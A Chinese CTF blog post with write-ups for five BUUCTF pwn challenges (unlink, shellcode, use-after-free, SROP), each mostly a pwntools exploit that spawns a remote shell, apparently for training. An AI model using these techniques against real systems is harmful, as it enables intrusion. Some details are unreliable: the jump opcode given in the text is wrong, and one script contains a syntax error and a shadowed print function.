当前位置:网站首页>buuctf-pwn write-ups (9)
buuctf-pwn write-ups (9)
2022-07-05 17:57:00 【L3H_CoLin】
buu067-hitcon2014_stkof
简单分析发现程序中开了一个很大的数组在bss段中,可以申请很多很多堆块,然后在bss段保存它们的地址。这道题不能打印有效信息,但能够产生任意长度的堆溢出,因此考虑利用方式:unlink。
利用方式请见:我的unlink笔记
经过调试发现,unlink可以进行。
我们可以在此之后将bss段中的地址改成got表地址,然后将got表中free函数的地址改写为printf的plt地址,这样我们就可以实现任意地址读了。读取到libc地址然后将free.got改为system地址,释放一个存有’/bin/sh’的chunk即可。
from pwn import *
from LibcSearcher import *
context(arch='amd64', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 27603)
elf = ELF('./pwn')
chunks = 0x602140
def add_chunk(size):
io.sendline(b'1')
io.sendline(str(size).encode())
def write_chunk(index, size, content):
io.sendline(b'2')
io.sendline(str(index).encode())
io.sendline(str(size).encode())
io.send(content)
def delete_chunk(index):
io.sendline(b'3')
io.sendline(str(index).encode())
def feedback(index):
io.sendline(b'4')
io.sendline(str(index).encode())
add_chunk(0x80) # chunk 0
io.recvuntil(b'OK\n')
add_chunk(0x80) # chunk 1
io.recvuntil(b'OK\n')
add_chunk(0x80) # chunk 2
io.recvuntil(b'OK\n')
add_chunk(0x80) # chunk 3
io.recvuntil(b'OK\n')
add_chunk(0x80) # chunk 4
io.recvuntil(b'OK\n')
payload = p64(0x10)
payload += p64(0x81)
payload += p64(chunks + 8*2 - 0x18)
payload += p64(chunks + 8*2 - 0x10)
payload += cyclic(0x60)
payload += p64(0x80)
payload += p64(0x90)
write_chunk(2, 0x90, payload)
io.recvuntil(b'OK\n')
delete_chunk(3)
io.recvuntil(b'OK\n')
write_chunk(2, 0x10, p64(0) + p64(elf.got['free']))
io.recvuntil(b'OK\n')
write_chunk(0, 0x8, p64(elf.plt['printf']))
io.recvuntil(b'OK\n')
write_chunk(2, 0x10, p64(0) + p64(elf.got['puts']))
io.recvuntil(b'OK\n')
delete_chunk(0)
puts = u64(io.recv(6) + b'\x00\x00')
print(hex(puts))
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
write_chunk(2, 0x10, p64(0) + p64(elf.got['free']))
io.recvuntil(b'OK\n')
write_chunk(0, 0x8, p64(sys))
io.recvuntil(b'OK\n')
write_chunk(4, 0x7, b'/bin/sh')
delete_chunk(4)
io.interactive()
buu068-ciscn_2019_s_9
shellcode题,只能写49个字节。(注意fgets函数的特性是最后一个字节一定是零字节。)
我们使用shellcraft.sh()函数查看pwntools为我们生成的shellcode,发现编译成机器码一共有44个字节。注意我们写入的49个字节里面的第36~40个字节是返回地址,不能随意动。
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
上面就是shellcode的汇编代码。我们尝试缩短这段代码的长度。
由于本题中并没有对零字节做出输入的限制,因此我们可以简化下面这两行为push 0x6873
push 0x1010101
xor dword ptr [esp], 0x1016972
简化之后,剩余部分的机器码长度为36字节,正好能够填充满返回地址之前的36字节。
而对于后面的9个字节,首先需要压低esp,防止shellcode被覆盖:sub esp, 0x100;,这条指令占6字节。还有3个字节足够我们进行一次短转移。
在asm函数中不允许使用诸如jmp short ptr 0x40;这样的指令,只能通过标号来写jmp指令。但是我们通过分析jmp指令的结构不难发现,jmp短转移指令占2字节,第1个字节固定为0xed,第二个字节为转移偏移,即距离本条指令的偏移位置。如在0x100000处有一条jmp 0x40指令,其跳转到的地址是:0x100042,因为这里是从这条指令的后面计算偏移的,也就是以0x100002为基准计算偏移。由此我们可以计算得到转移的偏移应该为-48,转为有符号8位二进制数为0xD0。因此我们的shellcode结构就是:前36字节为shellcode;37~40字节为返回地址(jmp esp的地址);41~46字节为sub esp, 0x100;指令;47~48字节为jmp short ptr -48;指令,这样可以在esp减小之后立刻开始执行shellcode。我们的49个字节使用了48个字节。
from pwn import *
context(arch='i386', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 28012)
elf = ELF('./pwn')
shellcode = 'push 0x68;' \
'push 0x732f2f2f;' \
'push 0x6e69622f;' \
'mov ebx, esp;' \
'push 0x6873;' \
'xor ecx, ecx;' \
'push ecx;' \
'push 4;' \
'pop ecx;' \
'add ecx, esp;' \
'mov ecx, esp;' \
'xor edx, edx;' \
'push SYS_execve;' \
'pop eax;' \
'int 0x80;' \
payload = asm(shellcode)
payload += p32(0x8048554)
payload += asm('sub esp, 0x100;') # 6 bytes
payload += b'\xeb\xD0' # jmp short ptr -48
print(len(payload))
print(payload)
io.sendline(payload)
io.interactive()
buu069-pwnable_hacknote
常规堆排布,没有释放指针,可以利用UAF申请到一个chunk控制头,然后改写里面的指针从而在调用print功能的时候执行其他功能。

每一次申请都会申请上面的这个结构体和一个存放字符串的chunk。申请两个chunk大小为0x20的结构,然后释放,再申请一个chunk大小为0x8的结构就可以控制先前释放的一个结构的控制结构体(也就是上面的这个结构体)。print_func不动,把打印地址改为got表获取libc地址,然后释放重新分配,把print_func改成system地址,后面接上’||sh’来执行system(‘sh’)。(前面的部分是system地址肯定无法执行,加||使得能够执行后面的内容)
from pwn import *
from LibcSearcher import *
context(arch='i386', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 26342)
elf = ELF('./pwn')
def add(size, content):
io.sendlineafter(b'Your choice :', b'1')
io.sendlineafter(b'Note size :', str(size).encode())
io.sendafter(b'Content :', content)
def delete(index):
io.sendlineafter(b'Your choice :', b'2')
io.sendlineafter(b'Index :', str(index).encode())
def print(index):
io.sendlineafter(b'Your choice :', b'3')
io.sendlineafter(b'Index :', str(index).encode())
add(0x20, b'/bin/sh')
add(0x20, b'colin')
delete(0)
delete(1)
add(0x8, p32(0x804862B) + p32(elf.got['puts']))
print(0)
puts = u32(io.recv(4))
print(hex(puts))
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')\
delete(2)
add(0x8, p32(sys) + b'||sh')
print(0)
io.interactive()
buu070-picoctf_2018_shellcode
from pwn import *
context(arch='i386', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 27164)
elf = ELF('./pwn')
io.sendline(asm(shellcraft.sh()))
io.interactive()
buu071-ciscn_2019_es_7
一道SROP的题目,要熟悉脚本中SROP的构造方式。本题中栈的地址是经过试验得到的,后面能够泄露出一个栈地址,值为输入字符串起始地址+0x118,据此计算栈地址。
注意脚本中的flat方法用于将frame转换为一个个的字节,不能使用str函数,否则原本的1个字节’\x00’会被转换为4个字节’\x00’。
from pwn import *
context(arch='amd64', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 27845)
elf = ELF('./pwn')
movrax_3B_ret = 0x4004e2
movrax_F_ret = 0x4004DA
syscall = 0x400517
payload = cyclic(0x10)
payload += p64(0x4004ED)
io.sendline(payload)
io.recv(0x20)
stack_addr = u64(io.recv(8)) - 0x118
print(hex(stack_addr))
payload = b'/bin/sh'.ljust(0x10, b'\x00')
payload += p64(movrax_F_ret)
payload += p64(syscall)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload += flat(frame)
io.send(payload)
io.interactive()
buu072-jarvisoj_level5
同第36题,脚本都不用变。
边栏推荐
- ClickHouse(03)ClickHouse怎么安装和部署
- mybash
- EasyCVR接入设备开启音频后,视频无法正常播放是什么原因?
- 瀚升优品app翰林优商系统开发功能介绍
- JVM third talk -- JVM performance tuning practice and high-frequency interview question record
- Sophon Base 3.1 推出MLOps功能,为企业AI能力运营插上翅膀
- 使用Jmeter虚拟化table失败
- matlab内建函数怎么不同颜色,matlab分段函数不同颜色绘图
- EasyCVR平台通过接口编辑通道出现报错“ID不能为空”,是什么原因?
- VC编程入门浅谈「建议收藏」
猜你喜欢

华夏基金:基金行业数字化转型实践成果分享

Six bad safety habits in the development of enterprise digitalization, each of which is very dangerous!

Neural network self cognition model

Unicode processing in response of flash interface

《力扣刷题计划》复制带随机指针的链表

Career advancement Guide: recommended books for people in big factories

JVM第三话 -- JVM性能调优实战和高频面试题记录

pytorch yolov5 训练自定义数据

FCN: Fully Convolutional Networks for Semantic Segmentation

Zabbix
随机推荐
MATLAB中print函数使用
怎么选择外盘期货平台最正规安全?
GFS distributed file system
《2022中国信创生态市场研究及选型评估报告》发布 华云数据入选信创IT基础设施主流厂商!
Huaxia Fund: sharing of practical achievements of digital transformation in the fund industry
Elk log analysis system
Star Ring Technology launched transwarp Navier, a data element circulation platform, to help enterprises achieve secure data circulation and collaboration under privacy protection
Redis Foundation
Failed to virtualize table with JMeter
Sophon base 3.1 launched mlops function to provide wings for the operation of enterprise AI capabilities
集群部署如何解决海量视频接入与大并发需求?
Interpretation: how to deal with the current security problems faced by the Internet of things?
mybash
检查命名空间和类
“12306” 的架构到底有多牛逼?
Operation before or after Teamcenter message registration
JVM第三话 -- JVM性能调优实战和高频面试题记录
图扑软件数字孪生 | 基于 BIM 技术的可视化管理系统
What are the changes in the 2022 PMP Exam?
Leetcode notes: Weekly contest 300